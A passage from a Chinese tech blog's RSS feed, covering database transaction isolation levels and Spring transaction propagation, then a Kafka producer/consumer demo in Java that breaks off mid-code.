&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时事务1两次查询到的记录是不一样的，称为幻读&lt;/p&gt;
&lt;p&gt;幻读的重点是新增或者删除,由于另一个事务对表中进行了新增或者删除,到时当前事务每次看到的都条数不一样,就像发生了幻觉一样,查一次多了一条,再查一次,发现又没了.&lt;/p&gt;
&lt;p&gt;为此,对事务引入了隔离级别这个概念,由数据库保证
DEFAULT 使用数据库设置的隔离级别 ( 默认 ) ，由 DBA 默认的设置来决定隔离级别 .
READ_UNCOMMITTED 会出现脏读、不可重复读、幻读 ( 隔离级别最低，并发性能高 )
READ_COMMITTED  会出现不可重复读、幻读问题（锁定正在读取的行）
REPEATABLE_READ 会出幻读（锁定所读取的所有行）
SERIALIZABLE 保证所有的情况不会发生（锁表）
&lt;img alt=&#34;隔离级别&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/transaction_isolation_all.jpg&#34;&gt;
可以看到,这四种从上到下性能越来越差,保障性越来越高.&lt;/p&gt;
&lt;p&gt;以解决幻读问题为例,SERIALIZABLE直接进行了锁表,那么印发幻读的对该表的插入和删除都无法操作,只能查询.所以不会有问题了..&lt;/p&gt;
&lt;h2 id=&#34;事务的传播行为&#34;&gt;事务的传播行为&lt;/h2&gt;
&lt;p&gt;事务的传播行为主要是为了解决事务嵌套调用的问题,比如A方法里面使用了事务操作,B方法里面也使用了事务操作,当A调用B的时候.这个情况是如何处理的呢&lt;/p&gt;
&lt;p&gt;1 REQUIRED 业务方法需要在一个事务中运行,如果方法运行时,已处在一个事务中,那么就加入该事务,否则自己创建一个新的事务.这是spring默认的传播行为.&lt;/p&gt;
&lt;p&gt;2 SUPPORTS    如果业务方法在某个事务范围内被调用,则方法成为该事务的一部分,如果业务方法在事务范围外被调用,则方法在没有事务的环境下执行.&lt;/p&gt;
&lt;p&gt;3 MANDATORY   只能在一个已存在事务中执行,业务方法不能发起自己的事务,如果业务方法在没有事务的环境下调用,就抛异常&lt;/p&gt;
&lt;p&gt;4 REQUIRES_NEW    业务方法总是会为自己发起一个新的事务,如果方法已运行在一个事务中,则原有事务被挂起,新的事务被创建,直到方法结束,新事务才结束,原先的事务才会恢复执行.
5 NOT_SUPPORTED   声明方法需要事务,如果方法没有关联到一个事务,容器不会为它开启事务.如果方法在一个事务中被调用,该事务会被挂起,在方法调用结束后,原先的事务便会恢复执行.
6 NEVER   声明方法绝对不能在事务范围内执行,如果方法在某个事务范围内执行,容器就抛异常.只有没关联到事务,才正常执行.&lt;/p&gt;
&lt;p&gt;7 NESTED  如果一个活动的事务存在,则运行在一个嵌套的事务中.如果没有活动的事务,则按REQUIRED属性执行.它使用了一个单独的事务, 这个事务拥有多个可以回滚的保证点.内部事务回滚不会对外部事务造成影响, 它只对DataSourceTransactionManager 事务管理器起效.&lt;/p&gt;
&lt;p&gt;总共7个,1,4,7最重要.1就是说A和B会在A的事务里.而4是B会开启一个新的事务,直到完成结束,A的事务才会继续运行.&lt;/p&gt;
&lt;h2 id=&#34;参考资料&#34;&gt;参考资料&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.imooc.com/view/478&#34;&gt;Spring事务管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://tech.meituan.com/innodb-lock.html&#34;&gt;Innodb中的事务隔离级别和锁的关系&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka快速开发demo</title>
      <link>http://blog.leaver.me/2015/09/08/kafka%E5%BF%AB%E9%80%9F%E5%BC%80%E5%8F%91demo/</link>
      <pubDate>Tue, 08 Sep 2015 00:04:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/08/kafka%E5%BF%AB%E9%80%9F%E5%BC%80%E5%8F%91demo/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/&#34;&gt;kafka快速上手&lt;/a&gt;,主要是使用kafka提供的测试来做了一下简单测试,实际开发中的使用可能才是我们要关系的.启动zk和kafka,新建topic的过程都不变.&lt;/p&gt;
&lt;p&gt;1 新建一个maven工程,引入依赖&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;lt;dependency&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &amp;lt;groupId&amp;gt;org.apache.kafka&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &amp;lt;artifactId&amp;gt;kafka_2.11&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &amp;lt;version&amp;gt;0.8.2.1&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;lt;/dependency&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2 编写配置文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public interface KafkaProperties {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String ZK              = &amp;#34;127.0.0.1:2181&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String GROUP_ID        = &amp;#34;test_group1&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String TOPIC           = &amp;#34;test&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String BROKER_LIST     = &amp;#34;127.0.0.1:9092&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String    SESSION_TIMEOUT = &amp;#34;20000&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String    SYNC_TIMEOUT    = &amp;#34;20000&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String    INTERVAL        = &amp;#34;1000&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;3 编写生产者&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProducer&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;Thread&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Producer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;producer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;                    &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt;                &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;final&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt;                 &lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProducer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;serializer.class&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;kafka.serializer.StringEncoder&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;生产者直接和&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;broker列表连接&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;metadata.broker.list&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;BROKER_LIST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;producer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Producer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProducerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;err&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offsetNo&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Message_&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offsetNo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Send-&amp;gt;[&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;producer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KeyedMessage&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;offsetNo&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;printStackTrace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4 编写消费者&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaConsumer&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;Thread&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ConsumerConnector&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;            &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;final&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt;         &lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaConsumer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;consumer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Consumer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;createJavaConsumerConnector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;consumerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ConsumerConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;消费者使用&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;zk的地址获取连接&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;zookeeper.connect&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ZK&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
